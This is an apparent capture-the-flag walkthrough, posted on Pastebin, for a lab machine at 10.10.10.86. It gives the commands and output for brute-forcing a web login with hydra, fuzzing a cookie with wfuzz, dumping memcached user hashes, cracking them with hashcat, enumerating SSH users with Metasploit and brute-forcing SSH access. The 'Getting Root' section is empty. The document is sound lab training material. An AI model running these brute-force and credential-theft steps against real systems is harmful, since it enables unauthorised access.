Advertisement
Guest User

Untitled

a guest
Sep 30th, 2018
1,756
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.54 KB | None | 0 0
  1. Information Gathering
  2. . Getting User
  3. . Getting Root
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10. Information Gathering
  11.  
  12. As usually, we start with nmap to see which ports are open on the server.
  13.  
  14. $ mkdir nmap
  15.  
  16. $ nmap -sV -oA nmap/initial 10.10.10.86
  17.  
  18. ...
  19.  
  20. PORT STATE SERVICE VERSION
  21.  
  22. 21/tcp open ftp vsftpd 3.0.3
  23.  
  24. 22/tcp open tcpwrapped
  25.  
  26. 80/tcp open http nginx 1.10.3 (Ubuntu)
  27.  
  28. 8080/tcp open http nginx 1.10.3 (Ubuntu)
  29.  
  30. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  31.  
  32. ...
  33.  
  34. If script enumeration was activated with the -sC option, we would notice that the FTP anonymous
  35. login was enabled. The FTP server contains an image which includes steganography (a text file
  36. hidden with a blank password, which outputs “Nope...”, in other words, a troll).
  37.  
  38. Next, let’s check the web server running in port 80:
  39.  
  40.  
  41.  
  42. The root page redirects us to /login which requires credentials. If the wrong credentials are
  43. entered, the server will respond with an Error: Login failed message. Therefore, we will try
  44. brute forcing with hydra with the username of admin, since it is the most common one.
  45.  
  46. $ hydra -s 80 -l 'admin' -P
  47. /usr/share/wordlists/SecLists/Passwords/darkweb2017-top10000.txt 10.10.10.86
  48. http-post-form "/login:username=^USER^&password=^PASS^:F=Error: Login failed"
  49.  
  50. I usually use the SecLists password wordlists first when brute forcing services remotely before
  51. firing up the huge rockyou wordlist file. Eventually, we should have a password which turns out
  52. to be Password1. After logging in, we are presented with some stock items from a MySQL database
  53. (as denoted in the HTML source code). We notice a cookie will be set for both websites running
  54. in port 80 and 8080:
  55.  
  56. Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8
  57.  
  58. I found nothing more of interest in the website of port 80, so I switched to 8080. This is the HTTP
  59. request header by default (after retrieving the session cookie):
  60.  
  61. GET / HTTP/1.1
  62.  
  63. Host: 10.10.10.86:8080
  64.  
  65. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
  66.  
  67. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  68.  
  69. Accept-Language: en-US,en;q=0.5
  70.  
  71. Accept-Encoding: gzip, deflate
  72.  
  73. Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8
  74.  
  75. Connection: close
  76.  
  77. Upgrade-Insecure-Requests: 1
  78.  
  79. Which gives us the following message:
  80.  
  81. Access denied: password authentication cookie not set
  82.  
  83. Using Burp, I manually added another cookie with a random value to see if the response changes:
  84.  
  85. Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8;
  86. password=test
  87.  
  88. And now we get a different message:
  89.  
  90. Access denied: password authentication cookie incorrect
  91.  
  92. It seems that we passed the first step, but now we need to find the right value for the password
  93. cookie. I will use wfuzz for that and filter out reponses which have a character length of 324, which
  94. was the reponse length of an incorrect cookie.
  95.  
  96. $ wfuzz -z file,/usr/share/wordlists/SecLists/Passwords/darkweb2017-
  97. top10000.txt -b password=FUZZ --hh 324 http://10.10.10.86:8080/
  98.  
  99. ...
  100.  
  101.  
  102. 000211: C=200 21 L 48 W 540 Ch "secret"
  103.  
  104.  
  105. ...
  106.  
  107.  
  108.  
  109.  
  110. We got a different response length with password=secret cookie, and if we modify the request in
  111. Burp to this value and forward that packet, we get the following:
  112.  
  113.  
  114.  
  115. The fact that a cache engine is being mentioned is a huge hint. A quick google will eventually
  116. lead us to the memcached software which is a key-based cache that stores data and objects
  117. wherever spare RAM is available for quick access by applications, without going through layers
  118. of parsing or disk I/O. According to MySQL and memcached guide, by default, memcached uses
  119. the following settings:
  120.  
  121. • Memory allocation of 64MB
  122. • Listens for connections on all network interfaces, using port 11211
  123. • Supports a maximum of 1024 simultaneous connections
  124.  
  125.  
  126. We already have a potential TCP port number input that we can use to retrieve results. We can
  127. confirm this, because if we try port numbers other than 11211, we will get an internal server error.
  128.  
  129. Next, we need to know what line to send. For that, we will refer to the github wiki of memcached
  130. commands and the guide I mentioned above, specifically article 5.2 to get the slabs statistic. Based
  131. on the document, the stats slabs command retrieves slabs which have been allocated for storing
  132. information within the cache. If we run the command in the web interface, we get this output:
  133.  
  134. STAT 16:chunk_size 2904
  135.  
  136. STAT 16:chunks_per_page 361
  137.  
  138. STAT 16:total_pages 1
  139.  
  140. STAT 16:total_chunks 361
  141.  
  142. STAT 16:used_chunks 0
  143.  
  144. STAT 16:free_chunks 361
  145.  
  146. STAT 16:free_chunks_end 0
  147.  
  148. STAT 16:mem_requested 0
  149.  
  150. STAT 16:get_hits 32
  151.  
  152. STAT 16:cmd_set 25
  153.  
  154. STAT 16:delete_hits 0
  155.  
  156. STAT 16:incr_hits 0
  157.  
  158. STAT 16:decr_hits 0
  159.  
  160. STAT 16:cas_hits 0
  161.  
  162. STAT 16:cas_badval 0
  163.  
  164. STAT 16:touch_hits 0
  165.  
  166. STAT 26:chunk_size 27120
  167.  
  168. STAT 26:chunks_per_page 38
  169.  
  170. STAT 26:total_pages 1
  171.  
  172. STAT 26:total_chunks 38
  173.  
  174. STAT 26:used_chunks 1
  175.  
  176. STAT 26:free_chunks 37
  177.  
  178. STAT 26:free_chunks_end 0
  179.  
  180. STAT 26:mem_requested 24699
  181.  
  182. STAT 26:get_hits 45258
  183.  
  184. STAT 26:cmd_set 262
  185.  
  186. STAT 26:delete_hits 0
  187.  
  188. STAT 26:incr_hits 0
  189.  
  190. STAT 26:decr_hits 0
  191.  
  192. STAT 26:cas_hits 0
  193.  
  194. STAT 26:cas_badval 0
  195.  
  196. STAT 26:touch_hits 0
  197.  
  198. STAT active_slabs 2
  199.  
  200. STAT total_malloced 2078904
  201.  
  202. END
  203.  
  204. Each slab (in this case two active slabs) are assigned an unique ID (16 and 26). As seen in the
  205. output, quite a lot of space (27120) is allocated to the second chunk (with an ID of 26). Let’s try
  206. and dump the keys for this slab class using the stats cachedump 26 0 command, where 26 is the
  207. ID of the slab and 0 indicates no result limit. The output:
  208.  
  209. ITEM users [24625 b; 1535279887 s]
  210.  
  211. END
  212.  
  213. We get a key item called users, which we can retrieve its data with the get users command:
  214.  
  215.  
  216.  
  217.  
  218.  
  219. Getting User
  220.  
  221. We will save the JSON output to a file called get-users.txt and then use the json.tool python
  222. module to format the text:
  223.  
  224. $ cat get-users.txt | python -m json.tool > beautify.txt
  225.  
  226.  
  227.  
  228. We will now extract the usernames and MD5 hashes from beautify.txt:
  229.  
  230. $ cat beautify.txt | cut -d ":" -f 1 | cut -d '"' -f 2 > users.txt
  231.  
  232. $ cat beautify.txt | cut -d ":" -f 2 | cut -d '"' -f 2 > hashes.txt
  233.  
  234. Open an editor and delete the first and the last line for both of these files (the JSON brackets).
  235.  
  236. To make things easier and quicker, we will use the Metasploit framework to enumerate SSH users
  237. with our users.txt list using the auxiliary/scanner/ssh/ssh_enumusers module:
  238.  
  239. $ msfconsole -q
  240.  
  241. msf > use auxiliary/scanner/ssh/ssh_enumusers
  242.  
  243. msf auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.10.86
  244.  
  245. msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE files/users.txt
  246.  
  247. msf auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 10
  248.  
  249. msf auxiliary(scanner/ssh/ssh_enumusers) > run
  250.  
  251. [*] 10.10.10.86:22 - SSH - Using malformed packet technique
  252.  
  253. [*] 10.10.10.86:22 - SSH - Starting scan
  254.  
  255. ...
  256.  
  257. [+] 10.10.10.86:22 - SSH - User 'genevieve' found
  258.  
  259. ...
  260.  
  261.  
  262.  
  263.  
  264.  
  265.  
  266.  
  267. Let’s also try to crack some of the MD5 hashes from our hashes.txt file using hashcat:
  268.  
  269. $ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt –
  270. force
  271.  
  272. ...
  273.  
  274. 2ac9cb7dc02b3c0083eb70898e549b63:Password1
  275.  
  276. 9731e89f01c1fb943cf0baa6772d2875:piggy
  277.  
  278. 6f9ff93a26a118b460c878dc30e17130:monkeyman
  279.  
  280. eb95fc1ab8251cf1f8f870e7e4dae54d:megadeth
  281.  
  282. 1e0ad2ec7e8c3cc595a9ec2e3762b117:blaster
  283.  
  284. 5177790ad6df0ea98db41b37b602367c:strength
  285.  
  286. 0ef9c986fad340989647f0001e3555d4:misfits
  287.  
  288. 0daa6275280be3cf03f9f9c62f9d26d1:lovesucks1
  289.  
  290. fc7992e8952a8ff5000cb7856d8586d2:Princess1
  291.  
  292. c21f969b5f03d33d43e04f8f136e7682:default
  293.  
  294. 254e5f2c3beb1a3d03f17253c15c07f3:hacktheplanet
  295.  
  296. fe01ce2a7fbac8fafaed7c982a04e229:demo
  297.  
  298. ...
  299.  
  300. $ cat cracked.txt | cut -d ":" -f 2 > passwords.txt
  301.  
  302. The process will finish quickly as these 12 hashes are well-known and other hashes will be ignored.
  303. Otherwise, you would have to specify the -a 3 option of hashcat to try and crack every hash.
  304.  
  305. Now that we have a valid user (genevieve) and an extracted password list, let’s brute force the
  306. SSH service using hydra and then login to grab the user flag after successfully retrieving the
  307. password:
  308.  
  309. $ hydra -l 'genevieve' -P passwords.txt 10.10.10.86 ssh
  310.  
  311. ...
  312.  
  313. [22][ssh] host: 10.10.10.86 login: genevieve password: Princess1
  314.  
  315. ...
  316.  
  317. $ sudo apt install sshpass
  318.  
  319. $ sshpass -p 'Princess1' ssh genevieve@10.10.10.86
  320.  
  321. Getting Root
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement